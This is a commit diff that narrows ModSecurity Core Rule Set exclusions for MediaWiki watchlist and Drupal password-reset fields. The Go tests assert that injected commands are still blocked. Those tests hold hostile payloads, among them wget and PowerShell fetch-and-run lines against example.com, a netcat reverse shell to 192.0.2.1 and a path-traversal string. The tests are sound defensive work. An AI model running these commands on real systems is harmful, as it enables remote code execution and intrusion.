Core Rule Set: MediaWiki's log, generator and watchlist fields pass (closes #258)

On /api.php, letitle and the generator fields gapto, gapprefix, gaifrom,
gaiprefix and geuquery skip 930120, 932120, 932250 and 932260, as the
fields they stand in for do.

On MediaWiki's pages, wpTitles from Special:EditWatchlist/raw, one title
per line, always skips 930120, 932120 and 932250. It skips 932125,
932230, 932235, 932260 and 932380 only when the body sends it once and it
holds no ";", "|", "&", backtick or "{", checked by a phase 2 rule. So
"; wget http://example.com/x.sh" is still refused.

Recorded from MediaWiki 1.46.2 at the digest the first MediaWiki change
used.

Model: opus-5-5

SPEC.md

@@ -977,6 +977,7 @@ requests. The changes hold in front of every app, and no setting undoes them:
     - `name` and `pass` when signing in (930120, 932120, 932250, 932260).
     - `name` when resetting a password through Drupal's JSON format on
       `/user/password`, for the same four rules.
+    - `mail` in that same reset, for 932120 and 932260 only.
     - `name` when signing up, editing an account and commenting without an
       account, for the same four rules.
     - `mail` on those forms, for 930120, 932120 and 932260 only.
@@ -1040,10 +1041,14 @@ requests. The changes hold in front of every app, and no setting undoes them:
         - `user-reason`, for changing a user's groups;
         - `mwProtect-reason`, for protecting a page.
     - On MediaWiki's pages, `wpTitles`, the list of watched pages that
-      `Special:EditWatchlist/raw` sends, one title per line. A title at the
-      start of a line reads as a command, so this field also skips 932125,
-      932230, 932235 and 932380. A command such as
-      `; wget http://example.com/x.sh` therefore passes in this field.
+      `Special:EditWatchlist/raw` sends, one title per line. It always skips
+      930120, 932120 and 932250. It skips 932125, 932230, 932235, 932260 and
+      932380 only when it holds no `;`, `|`, `&`, backtick or `{`. A title
+      starting with a command name, such as `Python3 notes`, passes. So does a
+      command alone on a line, such as `wget http://example.com/x.sh`. A command
+      such as `; wget http://example.com/x.sh` is still refused. So is a list
+      that mixes a title holding one of these characters with a title starting
+      with a command name.
     - The wikitext of a page, which holds templates, tables and any code it
       shows:
         - `wpTextbox1` on MediaWiki's pages;

internal/coreruleset/drupal.conf

@@ -228,3 +228,12 @@ SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/password$" \
         ctl:ruleRemoveTargetById=932120;ARGS:json.name,\
         ctl:ruleRemoveTargetById=932250;ARGS:json.name,\
         ctl:ruleRemoveTargetById=932260;ARGS:json.name"
+
+# The same reset may name the account by its address in the JSON field mail:
+# POST /user/password?_format=json with a mail of python3@example.com. An
+# address skips only the two rules the recorded addresses set off.
+SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/password$" \
+    "id:900818,phase:1,pass,nolog,chain"
+    SecRule &ARGS_GET:json.mail "@eq 0" \
+        "ctl:ruleRemoveTargetById=932120;ARGS:json.mail,\
+        ctl:ruleRemoveTargetById=932260;ARGS:json.mail"

internal/coreruleset/drupal_test.go

@@ -182,13 +182,33 @@ func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) {
 		scriptTag,
 		`; wget http://example.com/x.sh`,
 		`../../sites/default/settings.php`,
+	} {
+		for _, field := range []string{"name", "mail"} {
+			r := request{http.MethodPost, drupalJSONPasswordReset, []string{jsonBody}}
+			body := `{"` + field + `":"` + attack + `"}`
+
+			got, _ := inspectBody(t, crs, r, body)
+			if got.Score < drupalThreshold {
+				t.Errorf("POST %s %s let through: %+v", r.target, body, got)
+			}
+		}
+	}
+
+	// An address keeps 932250, which refuses ls -la, and 930120, which
+	// refuses system file names.
+	for _, kept := range []struct {
+		value string
+		rule  int
+	}{
+		{"ls -la", 932250},
+		{".htaccess@example.com", 930120},
 	} {
 		r := request{http.MethodPost, drupalJSONPasswordReset, []string{jsonBody}}
-		body := `{"name":"` + attack + `"}`
+		body := `{"mail":"` + kept.value + `"}`
 
 		got, _ := inspectBody(t, crs, r, body)
-		if got.Score < drupalThreshold {
-			t.Errorf("POST %s %s let through: %+v", r.target, body, got)
+		if got.Score < drupalThreshold || !slices.Contains(got.RuleIDs, kept.rule) {
+			t.Errorf("POST %s %s: %+v, want %d among them", r.target, body, got, kept.rule)
 		}
 	}
 }
@@ -357,6 +377,16 @@ func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
 			t.Errorf("POST %s %s refused: %+v", r.target, body, got)
 		}
 	}
+
+	for _, address := range []string{"python3@example.com", "powershell@example.com"} {
+		r := request{http.MethodPost, "/fr" + drupalJSONPasswordReset, []string{jsonBody}}
+		body := `{"mail":"` + address + `"}`
+
+		got, _ := inspectBody(t, crs, r, body)
+		if got.Score >= drupalThreshold {
+			t.Errorf("POST %s %s refused: %+v", r.target, body, got)
+		}
+	}
 }
 
 func TestDrupalExclusionsAreNarrow(t *testing.T) {
@@ -436,4 +466,17 @@ func TestDrupalBodyFieldsStayCheckedInTheQuery(t *testing.T) {
 			t.Errorf("POST %s let through: %+v", r.target, got)
 		}
 	}
+
+	// So does the JSON field mail.
+	for _, target := range []string{
+		drupalJSONPasswordReset + "&json.mail=python3%40example.com",
+		"/user/register?_format=json",
+	} {
+		r := request{http.MethodPost, target, []string{jsonBody}}
+
+		got, _ := inspectBody(t, crs, r, `{"mail":"python3@example.com"}`)
+		if got.Score < drupalThreshold {
+			t.Errorf("POST %s let through: %+v", r.target, got)
+		}
+	}
 }

internal/coreruleset/mediawiki.conf

@@ -15,7 +15,7 @@
 # Pages under /wiki/ need neither.
 #
 # Four rules read a search, a title or a name as a command or a system file.
-# Each exclusion below for such a field removes these four, and only these:
+# Each exclusion below for such a field removes these four:
 #   930120: .htaccess
 #   932120: powershell
 #   932250: ls -la
@@ -179,21 +179,34 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
         ctl:ruleRemoveTargetById=932120;ARGS:/^(?:wpreason-other|user-reason|mwprotect-reason)$/"
 
 # Special:EditWatchlist/raw sends the watched titles in wpTitles, one per
-# line. A title at the start of a line reads as a command to 932125, 932230,
-# 932235 and 932380, so wpTitles skips those as well as the four rules:
-#   "Lighthouse notes", "Python3 notes", "Ls -la notes" and ".htaccess notes"
-# The only rules that refuse "; wget http://example.com/x.sh" in wpTitles are
-# 932235 and 932260, so that command passes there. Commands with $(...) or a
-# shell path such as /bin/sh are still refused.
+# line. Watchlists holding "Lighthouse notes" and then one of these titles
+# were refused:
+#   "Python3 notes", "Powershell notes", "Ls -la notes" and ".htaccess notes"
+# wpTitles always skips 930120, 932120 and 932250. Rule 900916 below skips
+# 932125, 932230, 932235, 932260 and 932380 only when wpTitles holds no ";",
+# "|", "&", backtick or "{", so "; wget http://example.com/x.sh" is still
+# refused. A watchlist that mixes a title holding one of these with a title
+# starting with a command name is refused too.
 SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
     "id:900915,phase:1,pass,nolog,chain"
     SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
     SecRule &ARGS_GET:wpTitles "@eq 0" \
         "ctl:ruleRemoveTargetById=930120;ARGS:wpTitles,\
         ctl:ruleRemoveTargetById=932120;ARGS:wpTitles,\
-        ctl:ruleRemoveTargetById=932125;ARGS:wpTitles,\
+        ctl:ruleRemoveTargetById=932250;ARGS:wpTitles"
+
+# This rule is in phase 2, because a phase 1 rule runs before the body is read
+# and cannot see what wpTitles holds. It checks that the body sends wpTitles
+# once, since it would otherwise skip these rules for a second wpTitles
+# holding a command.
+SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
+    "id:900916,phase:2,pass,nolog,chain"
+    SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
+    SecRule &ARGS_GET:wpTitles "@eq 0" "chain"
+    SecRule &ARGS_POST:wpTitles "@eq 1" "chain"
+    SecRule ARGS_POST:wpTitles "!@rx [;|&`{]" \
+        "ctl:ruleRemoveTargetById=932125;ARGS:wpTitles,\
         ctl:ruleRemoveTargetById=932230;ARGS:wpTitles,\
         ctl:ruleRemoveTargetById=932235;ARGS:wpTitles,\
-        ctl:ruleRemoveTargetById=932250;ARGS:wpTitles,\
         ctl:ruleRemoveTargetById=932260;ARGS:wpTitles,\
         ctl:ruleRemoveTargetById=932380;ARGS:wpTitles"

internal/coreruleset/mediawiki_test.go

@@ -270,13 +270,25 @@ func TestMediaWikiCommandAttackIsRefusedOutsideWikitext(t *testing.T) {
 		t.Errorf("PUT %s %s let through: %+v", r.target, body, got)
 	}
 
-	// wpTitles skips 932235 and 932260, so mediawikiCommandAttack passes
-	// there. Commands with $(...) or /bin/sh are still refused.
+	// wpTitles skips 932125, 932230, 932235, 932260 and 932380 only when it
+	// holds no ";", "|", "&", backtick or "{", and only when the body sends
+	// it once.
 	r = request{http.MethodPost, mediawikiWatchlist.target, []string{formData}}
 
 	for _, attack := range []string{
+		mediawikiCommandAttack,
+		"Example%0D%0A" + mediawikiCommandAttack,
+		"Example&" + mediawikiWatchlist.field + mediawikiCommandAttack,
 		"Example%0D%0A%24%28id%29",
 		"Example%0D%0A%7Cnc%20-e%20%2Fbin%2Fsh%20192.0.2.1%204444",
+		"%3B%20sh%20-i",
+		"%26%26%20sh%20-i",
+		"%7C%7C%20sh%20-i",
+		"%60sh%20-i%60",
+		"%3B%20ls%20-la%20%2F",
+		"%3B%20iwr%20http%3A%2F%2Fexample.com%2Fx.ps1",
+		"%26%20iex%20%28iwr%20http%3A%2F%2Fexample.com%2Fx.ps1%29",
+		"%7Bwget%2Chttp%3A%2F%2Fexample.com%2Fx.sh%7D",
 	} {
 		body := mediawikiWatchlist.field + attack
 

internal/coreruleset/testdata/drupal-requests.txt

@@ -412,6 +412,11 @@
 {"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \"powershell\"}"}
 {"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \"ls -la\"}"}
 {"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \".htaccess\"}"}
+{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"example@example.com\"}"}
+{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"python3@example.com\"}"}
+{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"powershell@example.com\"}"}
+{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"ls-la@example.com\"}"}
+{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"htaccess@example.com\"}"}
 {"method": "POST", "target": "/user/logout?_format=json&token=6g2zVXyWnyiVNy0zy76IqHwJfb_Q7fY4m1cpnZyh0LY", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value"], "body": ""}
 {"method": "PATCH", "target": "/jsonapi/node/article/77b584a4-587e-4273-90b7-2677a1502feb", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json", "Content-Type: application/vnd.api+json", "X-Csrf-Token: fK1nVGRmImLpZRnGKVLo_fRY4zvgCTRWbMAXJ0023ho"], "body": "{\"data\": {\"type\": \"node--article\", \"id\": \"77b584a4-587e-4273-90b7-2677a1502feb\", \"attributes\": {\"title\": \"Edited about docker-compose.yml\", \"body\": {\"value\": \"<p>SELECT rows FROM table, then ls -la.</p>\", \"format\": \"basic_html\"}}}}"}
 {"method": "GET", "target": "/jsonapi/node/article/77b584a4-587e-4273-90b7-2677a1502feb?include=uid", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}